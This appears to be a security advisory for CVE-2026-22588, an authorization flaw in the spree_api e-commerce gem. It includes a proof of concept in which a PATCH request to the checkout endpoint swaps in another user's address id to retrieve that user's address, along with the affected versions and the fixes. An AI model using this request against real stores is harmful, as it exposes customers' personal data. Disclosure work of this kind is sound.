CVE-2026-22588

An Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order.
By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response.

Details

Affected Component(s)

• Authenticated user order management
• Address association logic
• Order update endpoint(s)
  Affected Endpoint(s):
• /api/v2/storefront/checkout

The application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user.

PoC

Preconditions

• Valid authenticated user account

Step 1: Log-in using a valid user, in this case [email protected]
Step 2: Visualize current user’s addresses

Request
GET /account/addresses

The following screenshot shows [email protected] address.

Step 3: Initialize the Shopping Cart

Request
POST /api/v2/storefront/cart HTTP/1.1

From the response, extract the token marked in bold.

Step 4: Legitimate Order Edit Request

Using the obtained order token A1cram_6cFWpoj4V1yPkuQ1767113871701 perform an edit order request in order to add a custom billing address

Request
PATCH /api/v2/storefront/checkout

{
    "include": "billing_address",
    "order": {
      "email": "[email protected]",
      "bill_address_attributes": {
        "firstname":"CTF","lastname":"Tester","address1":"123 Main St",
        "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
      },
      "ship_address_attributes": {
        "firstname":"CTF","lastname":"Tester","address1":"123 Main St",
        "city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
      }
    }
  }

Step 5: Modify the order request to include the other user's address and trigger the IDOR.

In this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker.

Request
PATCH /api/v2/storefront/checkout

{"include":"billing_address","order":**{"bill_address_attributes":{"id":1}}**}

As can be seen other user's address is displayed.

As a result, an attacker can:

• Replace the address identifier with one belonging to another user
• Cause the backend to associate and return another user’s address within the attacker’s order

CVE-2026-22588 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.10.2, 5.0.7, 5.1.9, 5.2.5); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-22588? CVE-2026-22588 is a medium-severity security vulnerability in spree_api (rubygems), affecting versions >= 3.7.0, < 4.10.2. It is fixed in 4.10.2, 5.0.7, 5.1.9, 5.2.5.
2. How severe is CVE-2026-22588? CVE-2026-22588 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of spree_api are affected by CVE-2026-22588? spree_api (rubygems) versions >= 3.7.0, < 4.10.2 is affected.
4. Is there a fix for CVE-2026-22588? Yes. CVE-2026-22588 is fixed in 4.10.2, 5.0.7, 5.1.9, 5.2.5. Upgrade to this version or later.
5. Is CVE-2026-22588 exploitable, and should I be worried? Whether CVE-2026-22588 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-22588 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-22588?
   • Upgrade spree_api to 4.10.2 or later
   • Upgrade spree_api to 5.0.7 or later
   • Upgrade spree_api to 5.1.9 or later
   • Upgrade spree_api to 5.2.5 or later